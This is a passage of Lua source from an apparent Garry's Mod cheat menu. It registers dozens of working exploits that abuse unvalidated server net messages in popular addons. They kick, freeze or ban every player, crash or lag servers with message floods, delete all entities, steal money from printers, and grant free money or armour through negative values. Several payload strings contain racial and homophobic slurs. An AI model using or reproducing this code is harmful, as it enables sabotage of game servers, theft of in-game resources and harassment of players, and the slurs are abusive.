6396CHATPRINT("Exploit Trouvé : Kick Tous Le Monde #2 [RecKickAFKer]")
6397addExploit( "129","Kick Tous Le Monde #2", "Kick Tous Le Monde", function()
6398surface.PlaySound("garrysmod/ui_click.wav")
6399NOTIFICATION("Starting")
6400for k, v in pairs( player.GetAll() ) do
6401net.Start("RecKickAFKer")
6402net.WriteEntity(v)
6403net.SendToServer()
6404end
6405end )
6406end
6407
6408status = ValidNetString("GMBG:PickupItem")
6409if (status) then
6410CHATPRINT("Exploit Trouvé : Loot Items [GMBG:PickupItem]")
6411addExploit( "130","Loot Items", "", function()
6412surface.PlaySound("garrysmod/ui_click.wav")
6413NOTIFICATION("Starting")
6414for k, v in pairs(ents.GetAll()) do
6415if v:GetClass() == "item_loot" then
6416net.Start("GMBG:PickupItem")
6417net.WriteEntity(v)
6418net.SendToServer()
6419net.Start("GMBG:PickupItem")
6420net.WriteEntity(v)
6421net.SendToServer()
6422net.Start("GMBG:PickupItem")
6423net.WriteEntity(v)
6424net.SendToServer()
6425net.Start("GMBG:PickupItem")
6426net.WriteEntity(v)
6427net.SendToServer()
6428net.Start("GMBG:PickupItem")
6429net.WriteEntity(v)
6430net.SendToServer()
6431net.Start("GMBG:PickupItem")
6432net.WriteEntity(v)
6433net.SendToServer()
6434end
6435end
6436end )
6437end
6438
6439status = ValidNetString("plyWarning")
6440if (status) then
6441CHATPRINT("Exploit Trouvé : Kick Tous Le Monde #3 [plyWarning]")
6442addExploit( "131","Kick Tous Le Monde #3", "Kick Tous Le Monde", function()
6443surface.PlaySound("garrysmod/ui_click.wav")
6444NOTIFICATION("Starting")
6445for k, v in pairs( player.GetAll() ) do
6446net.Start('plyWarning')
6447net.WriteEntity(v)
6448net.WriteString('You have to select a player before doing a action.')
6449net.SendToServer()
6450end
6451end )
6452end
6453
6454status = ValidNetString("NLR.ActionPlayer")
6455if (status) then
6456CHATPRINT("Exploit Trouvé : Freeze Everyone [NLR.ActionPlayer]")
6457addExploit( "132","Freeze Everyone", "", function()
6458surface.PlaySound("garrysmod/ui_click.wav")
6459NOTIFICATION("Starting")
6460for k, v in pairs( player.GetAll() ) do
6461net.Start("NLR.ActionPlayer")
6462net.WriteEntity(v)
6463net.SendToServer()
6464end
6465end )
6466end
6467
6468status = ValidNetString("kart_sell")
6469if (status) then
6470CHATPRINT("Exploit Trouvé : Argent Gratuite #15 [kart_sell]")
6471addExploit( "133","Argent Gratuite #15", "Recevoir De L'Argent", function()
6472surface.PlaySound("garrysmod/ui_click.wav")
6473NOTIFICATION("Starting")
6474for i=1, 300 do
6475net.Start("kart_sell")
6476net.WriteString("sw_gokart")
6477net.SendToServer()
6478end
6479end )
6480end
6481
6482status = ValidNetString("ClickerAddToPoints")
6483if (status) then
6484CHATPRINT("Exploit Trouvé : Free Points [ClickerAddToPoints]")
6485addExploit( "134","Free Points", "", function()
6486surface.PlaySound("garrysmod/ui_click.wav")
6487NOTIFICATION("Starting")
6488net.Start("ClickerAddToPoints")
6489net.WriteInt(99999999, 32)
6490net.SendToServer()
6491end )
6492end
6493
6494status = ValidNetString("bodyman_model_change")
6495if (status) then
6496CHATPRINT("Exploit Trouvé : Body Groups [bodyman_model_change]")
6497addExploit( "135","Body Groups", "constantly changes your appearance", function()
6498surface.PlaySound("garrysmod/ui_click.wav")
6499NOTIFICATION("Starting")
6500local PM = 1
6501local SK = 1
6502local BG = 1
6503local HN = 1
6504local TS = 1
6505local GL = 1
6506local LG = 1
6507if !timer.Exists( "bodygroups" ) then
6508timer.Create("bodygroups", 0, 0, function()
6509PlayerModels = {0,1,2,3,4,5,6}
6510Torso = {0,1,2,3,4,5,6,7,8,9,10}
6511Legs = {0,1,2,3,4,5,6}
6512Hands = {0,1,2}
6513Glasses = {0,1}
6514Skins = {0,1,2,3,4,5,6,7,8,9,10}
6515PM = PM+1
6516TS = TS+1
6517LG = LG+1
6518HN = HN+1
6519GL = GL+1
6520SK = SK+1
6521if (PM>#PlayerModels) then PM=1 end
6522if (SK>#Skins) then SK=1 end
6523if (HN>#Hands) then HN=1 end
6524if (TS>#Torso) then TS=1 end
6525if (GL>#Glasses) then GL=1 end
6526if (LG>#Legs) then LG=1 end
6527net.Start("bodyman_model_change")
6528net.WriteInt(PlayerModels[PM], 10 )
6529net.SendToServer()
6530net.Start("bodygroups_change")
6531net.WriteTable( { 1, Torso[TS] } )
6532net.SendToServer()
6533net.Start("bodygroups_change")
6534net.WriteTable( { 2, Legs[LG] } )
6535net.SendToServer()
6536net.Start("bodygroups_change")
6537net.WriteTable( { 3, Hands[HN] } )
6538net.SendToServer()
6539net.Start("bodygroups_change")
6540net.WriteTable( { 4, Glasses[GL] } )
6541net.SendToServer()
6542end )
6543else
6544timer.Remove("bodygroups")
6545NOTIFICATION("Stopping")
6546end
6547end )
6548end
6549
6550status = ValidNetString("bodyman_model_change_maxrp_57463741")
6551if (status) then
6552CHATPRINT("[88.2] Exploit Trouvé : Body Groups MAXRP [bodyman_model_change_maxrp_57463741]")
6553addExploit( "5505","Body Groups MAXRP", "constantly changes your appearance", function()
6554surface.PlaySound("garrysmod/ui_click.wav")
6555NOTIFICATION("Starting")
6556local PM = 1
6557local SK = 1
6558local BG = 1
6559local HN = 1
6560local TS = 1
6561local GL = 1
6562local LG = 1
6563if !timer.Exists( "bodygroups" ) then
6564timer.Create("bodygroups", 0, 0, function()
6565PlayerModels = {0,1,2,3,4,5,6}
6566Torso = {0,1,2,3,4,5,6,7,8,9,10}
6567Legs = {0,1,2,3,4,5,6}
6568Hands = {0,1,2}
6569Glasses = {0,1}
6570Skins = {0,1,2,3,4,5,6,7,8,9,10}
6571PM = PM+1
6572TS = TS+1
6573LG = LG+1
6574HN = HN+1
6575GL = GL+1
6576SK = SK+1
6577if (PM>#PlayerModels) then PM=1 end
6578if (SK>#Skins) then SK=1 end
6579if (HN>#Hands) then HN=1 end
6580if (TS>#Torso) then TS=1 end
6581if (GL>#Glasses) then GL=1 end
6582if (LG>#Legs) then LG=1 end
6583net.Start("bodygroups_change_maxrp_57457451")
6584net.WriteInt(PlayerModels[PM], 10 )
6585net.SendToServer()
6586net.Start("bodygroups_change_maxrp_57457451")
6587net.WriteTable( { 1, Torso[TS] } )
6588net.SendToServer()
6589net.Start("bodygroups_change_maxrp_57457451")
6590net.WriteTable( { 2, Legs[LG] } )
6591net.SendToServer()
6592net.Start("bodygroups_change_maxrp_57457451")
6593net.WriteTable( { 3, Hands[HN] } )
6594net.SendToServer()
6595net.Start("bodygroups_change_maxrp_57457451")
6596net.WriteTable( { 4, Glasses[GL] } )
6597net.SendToServer()
6598end )
6599else
6600timer.Remove("bodygroups")
6601NOTIFICATION("Stopping")
6602end
6603end )
6604end
6605
6606status = ValidNetString("SendMoney")
6607if (status) then
6608CHATPRINT("Exploit Trouvé : Argent Gratuite #16 [SendMoney]")
6609addExploit( "136","Argent Gratuite #16", "Recevoir De L'Argent", function()
6610surface.PlaySound("garrysmod/ui_click.wav")
6611NOTIFICATION("Starting")
6612hook.Remove( "HUDPaint", "skhdsakjl")
6613net.Start("SendMoney")
6614net.WriteEntity(LocalPlayer())
6615net.WriteEntity(LocalPlayer())
6616net.WriteEntity(LocalPlayer())
6617net.WriteString("-99999999")
6618net.SendToServer()
6619end )
6620end
6621
6622status = ValidNetString("BailOut")
6623if (status) then
6624CHATPRINT("Exploit Trouvé : Argent Gratuite #17 [BailOut]")
6625addExploit( "137","Argent Gratuite #17", "", function()
6626surface.PlaySound("garrysmod/ui_click.wav")
6627NOTIFICATION("Starting")
6628for k, v in pairs(player.GetAll()) do
6629net.Start("BailOut")
6630net.WriteEntity(LocalPlayer())
6631net.WriteEntity(v)
6632net.WriteFloat(-999999999)
6633net.SendToServer()
6634end
6635end )
6636end
6637
6638status = ValidNetString("hitcomplete")
6639if (status) then
6640CHATPRINT("Exploit Trouvé : Argent Gratuite #18 [hitcomplete]")
6641addExploit( "138","Argent Gratuite #18", "Recevoir De L'Argent", function()
6642surface.PlaySound("garrysmod/ui_click.wav")
6643NOTIFICATION("Starting")
6644net.Start("hitcomplete")
6645net.WriteDouble(99999999)
6646net.SendToServer()
6647end )
6648end
6649----------------------------------------
6650for k,v in pairs(player.GetAll()) do
6651dahater = v
6652end
6653----------------------------------------
6654status = ValidNetString("hhh_request")
6655if (status) then
6656CHATPRINT("Exploit Trouvé : Argent Gratuite #19 [hhh_request]")
6657addExploit( "139","Argent Gratuite #19", "Recevoir De L'Argent", function()
6658surface.PlaySound("garrysmod/ui_click.wav")
6659NOTIFICATION("Starting")
6660local plyhhh = LocalPlayer()
6661if dahater != plyhhh then
6662local hitRequest = {}
6663hitRequest.hitman = plyhhh
6664hitRequest.requester = plyhhh
6665hitRequest.target = dahater
6666hitRequest.reward = -9999999
6667net.Start('hhh_request')
6668net.WriteTable(hitRequest)
6669net.SendToServer()
6670else
6671CHATPRINT("In this version of HHH, you can not use an exploit!")
6672end
6673end )
6674end
6675
6676status = ValidNetString("DaHit")
6677if (status) then
6678CHATPRINT("Exploit Trouvé : Argent Gratuite #20 [DaHit]")
6679addExploit( "140","Argent Gratuite #20", "Recevoir De L'Argent", function()
6680surface.PlaySound("garrysmod/ui_click.wav")
6681NOTIFICATION("Starting")
6682hook.Remove( "HUDPaint", "skhdsakjl")
6683net.Start("DaHit")
6684net.WriteFloat(-99999999)
6685net.WriteEntity(LocalPlayer())
6686net.WriteEntity(LocalPlayer())
6687net.WriteEntity(LocalPlayer())
6688net.SendToServer()
6689end )
6690end
6691
6692status = ValidNetString("textstickers_entdata")
6693if (status) then
6694CHATPRINT("Exploit Trouvé : Crash #2 [textstickers_entdata]")
6695addExploit( "141","Crash #2", "1tap", function()
6696surface.PlaySound("garrysmod/ui_click.wav")
6697NOTIFICATION("Starting")
6698net.Start("textstickers_entdata")
6699net.WriteUInt(0xFFFFFFF, 32)
6700net.SendToServer()
6701end )
6702end
6703
6704status = ValidNetString("gBan.BanBuffer")
6705if (status) then
6706CHATPRINT("Exploit Trouvé : gBan Everyone [gBan.BanBuffer]")
6707addExploit( "142","gBan Everyone", "exploit in the old version of gban", function()
6708surface.PlaySound("garrysmod/ui_click.wav")
6709NOTIFICATION("Starting")
6710for k,v in pairs(player.GetAll()) do
6711if v != LocalPlayer() then
6712net.Start("gBan.BanBuffer")
6713net.WriteBool(true)
6714net.WriteInt(0, 32)
6715net.WriteString("haha owned")
6716net.WriteString(v:SteamID())
6717net.SendToServer()
6718end
6719end
6720end )
6721end
6722
6723status = ValidNetString("ARMORY_RetrieveWeapon")
6724if (status) then
6725CHATPRINT("Exploit Trouvé : Armure Gratuitey #1 [ARMORY_RetrieveWeapon]")
6726addExploit( "143","Armure Gratuitey #1", "get weapon #1", function()
6727surface.PlaySound("garrysmod/ui_click.wav")
6728NOTIFICATION("Starting")
6729net.Start("ARMORY_RetrieveWeapon")
6730net.WriteString("weapon1")
6731net.SendToServer()
6732end )
6733end
6734
6735status = ValidNetString("ARMORY_RetrieveWeapon")
6736if (status) then
6737CHATPRINT("Exploit Trouvé : Armure Gratuitey #2 [ARMORY_RetrieveWeapon]")
6738addExploit( "144","Armure Gratuitey #2", "get weapon #2", function()
6739surface.PlaySound("garrysmod/ui_click.wav")
6740NOTIFICATION("Starting")
6741net.Start("ARMORY_RetrieveWeapon")
6742net.WriteString("weapon2")
6743net.SendToServer()
6744end )
6745end
6746
6747status = ValidNetString("ARMORY_RetrieveWeapon")
6748if (status) then
6749CHATPRINT("Exploit Trouvé : Armure Gratuitey #3 [ARMORY_RetrieveWeapon]")
6750addExploit( "145","Armure Gratuitey #3", "get weapon #3", function()
6751surface.PlaySound("garrysmod/ui_click.wav")
6752NOTIFICATION("Starting")
6753net.Start("ARMORY_RetrieveWeapon")
6754net.WriteString("weapon3")
6755net.SendToServer()
6756end )
6757end
6758
6759status = ValidNetString("TransferReport")
6760if (status) then
6761CHATPRINT("Exploit Trouvé : Report Spammer [TransferReport]")
6762addExploit( "146","Report Spammer", "Report Tout Le Monde players", function()
6763surface.PlaySound("garrysmod/ui_click.wav")
6764NOTIFICATION("Starting")
6765net.Start("TransferReport")
6766net.WriteString(v:SteamID())
6767net.WriteString("CHINKGANG FAGOTS")
6768net.WriteString("DITCH THIS SHITTY SERVER AND BUY 88Triggering TODAY")
6769net.SendToServer()
6770end )
6771end
6772
6773status = ValidNetString("FIRE_CreateFireTruck")
6774if (status) then
6775CHATPRINT("Exploit Trouvé : Create Fire Truck [FIRE_CreateFireTruck]")
6776addExploit( "147","Create Fire Truck", "", function()
6777surface.PlaySound("garrysmod/ui_click.wav")
6778NOTIFICATION("Starting")
6779net.Start("FIRE_CreateFireTruck")
6780net.SendToServer()
6781end )
6782end
6783
6784status = ValidNetString("TFA_Attachment_RequestAll")
6785if (status) then
6786CHATPRINT("Exploit Trouvé : Lagger #20 [TFA_Attachment_RequestAll]")
6787addExploit( "148","Lagger #20", "an exploit in 'TFA Weapon Pack', discovered by zerg314", function()
6788surface.PlaySound("garrysmod/ui_click.wav")
6789if !timer.Exists( "lagger20" ) then
6790timer.Create("lagger20", 0,0, function()
6791for i = 1, 800 do
6792net.Start("TFA_Attachment_RequestAll",true)
6793net.SendToServer()
6794end
6795end)
6796NOTIFICATION("Starting Lagger")
6797else
6798timer.Remove("lagger20")
6799NOTIFICATION("Stopping Lagger")
6800end
6801end)
6802end
6803
6804status = ValidNetString("FIRE_RemoveFireTruck")
6805if (status) then
6806CHATPRINT("Exploit Trouvé : Remove Fire Truck [FIRE_RemoveFireTruck]")
6807addExploit( "149","Remove Fire Truck", "", function()
6808surface.PlaySound("garrysmod/ui_click.wav")
6809NOTIFICATION("Starting")
6810net.Start("FIRE_RemoveFireTruck")
6811net.SendToServer()
6812end )
6813end
6814
6815status = ValidNetString("gPrinters.sendID")
6816if (status) then
6817CHATPRINT("Exploit Trouvé : Lagger #21 [gPrinters.sendID]")
6818addExploit( "150","Lagger #21", "B1G LAGZ, discovered by Leith", function()
6819surface.PlaySound("garrysmod/ui_click.wav")
6820NOTIFICATION("Starting")
6821if not timer.Exists("lagger21") then
6822timer.Create("lagger21", 0, 0, function()
6823for i = 1, 1000 do
6824net.Start("gPrinters.sendID",true)
6825net.WriteEntity(LocalPlayer())
6826net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 8)
6827net.SendToServer()
6828end
6829end )
6830end
6831end )
6832end
6833
6834status = ValidNetString("requestmoneyforvk") -- RusElite Server
6835if (status) then
6836CHATPRINT("Exploit Trouvé : Free 50k [requestmoneyforvk]")
6837addExploit( "151","Free 50k", "gives you 50k bypassing the validation check, discovered by Leith", function()
6838surface.PlaySound("garrysmod/ui_click.wav")
6839NOTIFICATION("Starting")
6840net.Start("requestmoneyforvk")
6841net.WriteEntity(LocalPlayer())
6842net.SendToServer()
6843end )
6844end
6845
6846status = ValidNetString("vj_testentity_runtextsd")
6847if (status) then
6848CHATPRINT("Exploit Trouvé : VJSay [NEW] [vj_testentity_runtextsd]")
6849addExploit( "152","VJSay [NEW]", "'fix' of the old exploit", function()
6850surface.PlaySound("garrysmod/ui_click.wav")
6851NOTIFICATION("Starting")
6852for k,v in pairs(player.GetAll()) do
6853net.Start("vj_testentity_runtextsd")
6854net.WriteEntity(v)
6855net.WriteString("OWNED OWNED OWNED OWNED OWNED OWNED OWNED OWNED ")
6856net.WriteString("vj_illuminati/Illuminati Confirmed.mp3")
6857net.SendToServer()
6858end
6859end )
6860end
6861
6862status = ValidNetString("NET_BailPlayer") -- need to test
6863if (status) then
6864CHATPRINT("Exploit Trouvé : Players Spam [NET_BailPlayer]")
6865addExploit( "153","Players Spam", "", function()
6866surface.PlaySound("garrysmod/ui_click.wav")
6867NOTIFICATION("Starting")
6868for k, v in pairs (player.GetAll()) do
6869net.Start("NET_BailPlayer")
6870net.WriteEntity(v)
6871net.WriteEntity(v)
6872net.SendToServer()
6873end
6874end )
6875end
6876
6877status = ValidNetString("Taxi_Add") -- need to test
6878if (status) then
6879CHATPRINT("Exploit Trouvé : Argent Gratuite #21 [Taxi_Add]")
6880addExploit( "154","Argent Gratuite #21", "maybe not work", function()
6881surface.PlaySound("garrysmod/ui_click.wav")
6882NOTIFICATION("Starting")
6883net.Start("Taxi_Add")
6884net.WriteString("MLG")
6885net.WriteTable({-1333.647461, -1473.931763, -139.968750})
6886net.WriteFloat(-99999999)
6887net.WriteString(Desc)
6888net.SendToServer()
6889end )
6890end
6891
6892status = ValidNetString("BuyCar")
6893if (status) then
6894CHATPRINT("Exploit Trouvé : Argent Gratuite #22 [BuyCar]")
6895addExploit( "155","Argent Gratuite #22", "Recevoir De L'Argent", function()
6896surface.PlaySound("garrysmod/ui_click.wav")
6897NOTIFICATION("Starting")
6898net.Start('BuyCar')
6899net.WriteFloat(-1000000)
6900net.WriteEntity(LocalPlayer())
6901net.WriteString("Gay")
6902net.WriteString("Cock")
6903net.WriteString("Twat")
6904net.SendToServer()
6905end )
6906end
6907
6908status = ValidNetString("rpi_trade_end")
6909if (status) then
6910CHATPRINT("Exploit Trouvé : Test Function [rpi_trade_end]")
6911addExploit( "156","Test Function", "just test", function()
6912surface.PlaySound("garrysmod/ui_click.wav")
6913NOTIFICATION("Starting")
6914local it = 0
6915timer.Create( util.CRC( tostring( CurTime() ) ), 0.5, 0, function()
6916if( it > #player.GetAll() ) then
6917it = 1;
6918else
6919it = it + 1;
6920end
6921net.Start("rpi_trade_end")
6922net.WriteUInt( it, 16 )
6923net.SendToServer()
6924end )
6925end )
6926end
6927
6928status = ValidNetString("ClickerForceSave")
6929if (status) then
6930CHATPRINT("Exploit Trouvé : Melon Crash [ClickerForceSave]")
6931addExploit( "157","Melon Crash", "", function()
6932surface.PlaySound("garrysmod/ui_click.wav")
6933NOTIFICATION("Starting")
6934hook.Add("Think","ps_spam",function()
6935for k, v in pairs (player.GetAll()) do
6936net.Start("ClickerForceSave")
6937net.WriteEntity(ply)
6938net.WriteInt(1, 1)
6939net.SendToServer()
6940end
6941end )
6942end )
6943end
6944
6945status = ValidNetString("SRequest")
6946if (status) then
6947CHATPRINT("Exploit Trouvé : Deagle Grab [SRequest]")
6948addExploit( "158","Deagle Grab", "", function()
6949surface.PlaySound("garrysmod/ui_click.wav")
6950NOTIFICATION("Starting")
6951for k, v in pairs (player.GetAll()) do
6952net.Start("SRequest")
6953net.WriteEntity(v)
6954net.SendToServer()
6955end
6956end )
6957end
6958
6959status = ValidNetString("HealButton")
6960if (status) then
6961CHATPRINT("Exploit Trouvé : PV Gratuit [HealButton]")
6962addExploit( "159","PV Gratuit", "PV Gratuit", function()
6963surface.PlaySound("garrysmod/ui_click.wav")
6964NOTIFICATION("Starting")
6965net.Start("HealButton")
6966net.WriteEntity(LocalPlayer())
6967net.WriteFloat(999999)
6968net.SendToServer()
6969end )
6970end
6971
6972status = ValidNetString("ArmorButton")
6973if (status) then
6974CHATPRINT("Exploit Trouvé : Armure Gratuite [ArmorButton]")
6975addExploit( "160","Armure Gratuite", "Armure Gratuite", function()
6976surface.PlaySound("garrysmod/ui_click.wav")
6977NOTIFICATION("Starting")
6978net.Start("ArmorButton")
6979net.WriteEntity(LocalPlayer())
6980net.WriteFloat(999999)
6981net.SendToServer()
6982end )
6983end
6984
6985status = ValidNetString("SprintSpeedset")
6986if (status) then
6987CHATPRINT("Exploit Trouvé : TTT SpeedHack [SprintSpeedset]")
6988addExploit( "161","TTT SpeedHack", "changes your speed", function()
6989surface.PlaySound("garrysmod/ui_click.wav")
6990NOTIFICATION("Starting")
6991net.Start("SprintSpeedset")
6992net.WriteFloat(math.min(math.max(2, 0.1),2 ))
6993net.SendToServer()
6994end )
6995end
6996
6997status = ValidNetString("GiveArmor100")
6998if (status) then
6999CHATPRINT("Exploit Trouvé : Exploit D'Armure [GiveArmor100]")
7000addExploit( "162","Exploit D'Armure ", "", function()
7001surface.PlaySound("garrysmod/ui_click.wav")
7002NOTIFICATION("Starting")
7003net.Start("GiveArmor100")
7004net.SendToServer()
7005end )
7006end
7007
7008status = ValidNetString("GiveSCP294Cup") -- NEED TO TEST !!
7009if (status) then
7010CHATPRINT("Exploit Trouvé : SCP 294 JAM [DOIT ÊTRE TEST] [GiveSCP294Cup]")
7011SCPLAG = 0
7012addExploit( "163","SCP 249 JAM!", "", function()
7013surface.PlaySound("garrysmod/ui_click.wav")
7014NOTIFICATION("Starting")
7015if (SCPLAG == 0) then
7016SCPLAG = 1
7017timer.Create( "LagThatShit", time, 0.05, function()
7018for k, v in pairs( ents.GetAll() ) do
7019if v:GetClass() == "scp294" then
7020net.Start("GiveSCP294Cup")
7021net.WriteString("shit")
7022net.WriteEntity(v)
7023net.SendToServer()
7024end
7025end
7026end)
7027else
7028SCPLAG = 0
7029timer.Remove("LagThatShit")
7030end
7031end)
7032end
7033
7034status = ValidNetString("Client_To_Server_OpenEditor")
7035if (status) then
7036CHATPRINT("Exploit Trouvé : SCP 249 Hack Menu De Boisson [Client_To_Server_OpenEditor]")
7037addExploit( "164","SCP 249 Drink Menu Hack", "", function()
7038surface.PlaySound("garrysmod/ui_click.wav")
7039NOTIFICATION("Starting")
7040net.Start("Client_To_Server_OpenEditor")
7041net.SendToServer()
7042end )
7043end
7044
7045status = ValidNetString("DuelMessageReturn")
7046if (status) then
7047CHATPRINT("Exploit Trouvé : Combat Fou [DuelMessageReturn]")
7048addExploit( "165","Combat Fou", "forces all players to fight with all players, discovered by Solly", function()
7049surface.PlaySound("garrysmod/ui_click.wav")
7050NOTIFICATION("Starting")
7051timer.Create("crazyduel", 0.1, 0, function()
7052s.duel[1] = table.Random( player.GetAll() )
7053s.duel[2] = table.Random( player.GetAll() )
7054net.Start("DuelMessageReturn")
7055net.WriteFloat(1)
7056net.WriteTable(s.duel)
7057net.SendToServer()
7058end )
7059end )
7060end
7061
7062status = ValidNetString("userAcceptPrestige")
7063if (status) then
7064CHATPRINT("Exploit Trouvé : Prestige Gratuit [userAcceptPrestige]")
7065addExploit( "166","Prestige Gratuit", "exploit for Prestige Gratuit", function()
7066surface.PlaySound("garrysmod/ui_click.wav")
7067NOTIFICATION("Starting")
7068net.Start("userAcceptPrestige")
7069net.SendToServer()
7070end )
7071end
7072
7073status = ValidNetString("wordenns")
7074if (status) then
7075CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #11 [wordenns]")
7076addExploit( "167","Voler L'argents De Tous #11", "withdraw money from all printers", function()
7077surface.PlaySound("garrysmod/ui_click.wav")
7078NOTIFICATION("Starting")
7079CHATPRINT("printers:".. tostring(#ents.FindByClass("derma_printer")))
7080for k,v in pairs(ents.FindByClass("derma_printer")) do
7081net.Start("wordenns")
7082net.WriteEntity(v)
7083net.SendToServer()
7084end
7085end)
7086end
7087
7088status = ValidNetString("guncraft_removeWorkbench")
7089if (status) then
7090CHATPRINT("Exploit Trouvé : Supprimer Toutes Les Entités [guncraft_removeWorkbench]")
7091addExploit( "168","Supprimer Toutes Les Entités", "an exploit in addon 'GunCraft'", function()
7092surface.PlaySound("garrysmod/ui_click.wav")
7093NOTIFICATION("Starting")
7094if !timer.Exists( "removentity" ) then
7095timer.Create("removentity", 3, 0, function()
7096for k,v in pairs(ents.GetAll()) do
7097net.Start("guncraft_removeWorkbench")
7098net.WriteEntity(v)
7099net.SendToServer()
7100end
7101end )
7102end
7103end )
7104end
7105
7106status = ValidNetString("BuyKey")
7107if (status) then
7108CHATPRINT("Exploit Trouvé : Blue Unbox Exploit [NEED TO TEST]")
7109addExploit( "169","Blue Unbox Exploit", "", function()
7110surface.PlaySound("garrysmod/ui_click.wav")
7111NOTIFICATION("Starting")
7112net.Start("BuyKey")
7113net.SendToServer()
7114net.Start("BuyCrate")
7115net.SendToServer()
7116end )
7117end
7118
7119status = ValidNetString("casinokit_chipexchange")
7120if (status) then
7121CHATPRINT("Exploit Trouvé : Argent Gratuite #23 [casinokit_chipexchange]")
7122addExploit( "170","Argent Gratuite #23", "only works if outdated", function()
7123surface.PlaySound("garrysmod/ui_click.wav")
7124NOTIFICATION("Starting")
7125local moneylog = LocalPlayer():getDarkRPVar("money")
7126net.Start("casinokit_chipexchange")
7127net.WriteEntity(self)
7128net.WriteString("darkrp")
7129net.WriteBool(true)
7130net.WriteUInt(LocalPlayer():getDarkRPVar("money"),32)
7131net.SendToServer()
7132timer.Simple(3, function()
7133for i=1, 5000 do
7134net.Start("casinokit_chipexchange")
7135net.WriteEntity(self)
7136net.WriteString("darkrp")
7137net.WriteBool(false)
7138net.WriteUInt(moneylog*0.10,32)
7139net.SendToServer()
7140end
7141end)
7142end )
7143end
7144
7145status = ValidNetString("PurchaseWeed")
7146if (status) then
7147CHATPRINT("Exploit Trouvé : Achetez Drogue [PurchaseWeed]")
7148addExploit( "171","Achetez Drogue", "", function()
7149surface.PlaySound("garrysmod/ui_click.wav")
7150NOTIFICATION("Starting")
7151net.Start("PurchaseWeed")
7152net.WriteInt(tonumber(10000),16)
7153net.WriteInt(tonumber(1),16)
7154net.WriteBool(LocalPlayer().Buying)
7155net.SendToServer()
7156end )
7157end
7158
7159status = ValidNetString("PurchaseWeed")
7160if (status) then
7161CHATPRINT("Exploit Trouvé : Sell Weed [PurchaseWeed]")
7162addExploit( "172","Sell Weed", "", function()
7163surface.PlaySound("garrysmod/ui_click.wav")
7164NOTIFICATION("Starting")
7165net.Start("PurchaseWeed")
7166net.WriteInt(tonumber(100),16)
7167net.WriteInt(tonumber(100),16)
7168net.WriteBool(LocalPlayer().Selling)
7169net.SendToServer()
7170end )
7171end
7172
7173status = ValidNetString("DoDealerDeliver")
7174if (status) then
7175CHATPRINT("Exploit Trouvé : Buy Tab [DoDealerDeliver]")
7176addExploit( "173","Buy Tab", "", function()
7177surface.PlaySound("garrysmod/ui_click.wav")
7178NOTIFICATION("Starting")
7179if(LocalPlayer():getDarkRPVar("money")>=WEED_CONFIG.TabletPrice) then
7180net.Start("DoDealerDeliver")
7181net.WriteBool(false)
7182net.SendToServer()
7183end
7184end )
7185end
7186
7187status = ValidNetString("DoDealerDeliver")
7188if (status) then
7189CHATPRINT("Exploit Trouvé : Buy Bong [DoDealerDeliver]")
7190addExploit( "174","Buy Bong", "", function()
7191surface.PlaySound("garrysmod/ui_click.wav")
7192NOTIFICATION("Starting")
7193if(LocalPlayer():getDarkRPVar("money")>=WEED_ITEMS.Items["Tools"]["bong"].price) then
7194net.Start("DoDealerDeliver")
7195net.WriteBool(true)
7196net.SendToServer()
7197end
7198end )
7199end
7200
7201status = ValidNetString("sendDuelInfo")
7202if (status) then
7203CHATPRINT("Exploit Trouvé : Duel NPC Exploit [sendDuelInfo]")
7204addExploit( "175","Duel NPC Exploit", "", function()
7205surface.PlaySound("garrysmod/ui_click.wav")
7206NOTIFICATION("Starting")
7207net.Start("sendDuelInfo")
7208net.WriteString(table.Random(player.GetAll()):Nick())
7209net.WriteString("xxdddd")
7210net.WriteString("1e+100")
7211net.WriteEntity(table.random(player.GetAll()):UserID())
7212net.WriteInt(3,3)
7213net.SendToServer()
7214end )
7215end
7216
7217status = ValidNetString("InviteMember")
7218if (status) then
7219CHATPRINT("Exploit Trouvé : Invite all players [InviteMember]")
7220addExploit( "176","Invite all players", "Invite all players to your org", function()
7221surface.PlaySound("garrysmod/ui_click.wav")
7222NOTIFICATION("Starting")
7223for k,v in pairs(player.GetAll()) do
7224net.Start("InviteMember")
7225net.WriteEntity(v)
7226net.WriteEntity(v)
7227net.WriteString("lol what")
7228net.SendToServer()
7229end
7230end )
7231end
7232
7233status = ValidNetString("newTerritory")
7234if (status) then
7235CHATPRINT("Exploit Trouvé : New Territory [newTerritory]")
7236addExploit( "177","New Territory", "", function()
7237surface.PlaySound("garrysmod/ui_click.wav")
7238NOTIFICATION("Starting")
7239for k,v in pairs(player.GetAll()) do
7240net.Start("newTerritory")
7241net.WriteString("Hackers")
7242net.WriteTable(t)
7243net.SendToServer()
7244end
7245end )
7246end
7247
7248status = ValidNetString("CreateOrganization")
7249if (status) then
7250CHATPRINT("Exploit Trouvé : Org Exploit [CreateOrganization]")
7251addExploit( "178","Org Exploit", "", function()
7252surface.PlaySound("garrysmod/ui_click.wav")
7253NOTIFICATION("Starting")
7254for k,v in pairs(player.GetAll()) do
7255net.Start("CreateOrganization")
7256net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
7257net.WriteString( "Join my gang or will rekt u" )
7258net.SendToServer()
7259end
7260end )
7261end
7262
7263status = ValidNetString("DisbandOrganization")
7264if (status) then
7265CHATPRINT("Exploit Trouvé : Org Disband [DisbandOrganization]")
7266addExploit( "179","Org Disband", "", function()
7267surface.PlaySound("garrysmod/ui_click.wav")
7268NOTIFICATION("Starting")
7269net.Start("DisbandOrganization")
7270net.WriteEntity(LocalPlayer())
7271net.SendToServer()
7272end )
7273end
7274
7275status = ValidNetString("ChangeOrgName")
7276if (status) then
7277CHATPRINT("Exploit Trouvé : Org Change Name [ChangeOrgName]")
7278addExploit( "180","Org Change Name", "", function()
7279surface.PlaySound("garrysmod/ui_click.wav")
7280NOTIFICATION("Starting")
7281net.Start("ChangeOrgName")
7282net.WriteString("I LOVE BANNAS WOOOOOOOOO I FUCKED GIANT BABIES WOOOOOO")
7283net.WriteString("SHITTY CUNT ASS SERVER FUCK OFF. STOP WITH YOUR SHITTY COPY AND PASTE SHIT! YOU STOLE MY SHIT NIGGER!")
7284net.WriteEntity(LocalPlayer())
7285net.SendToServer()
7286end )
7287end
7288
7289status = ValidNetString("IS_SubmitSID_C2S")
7290if (status) then
7291CHATPRINT("Exploit Trouvé : Free Reward [IS_SubmitSID_C2S | IS_GetReward_C2S]")
7292addExploit( "181","Free Reward", "", function()
7293surface.PlaySound("garrysmod/ui_click.wav")
7294NOTIFICATION("Starting")
7295net.Start("IS_SubmitSID_C2S")
7296net.WriteString("Killa")
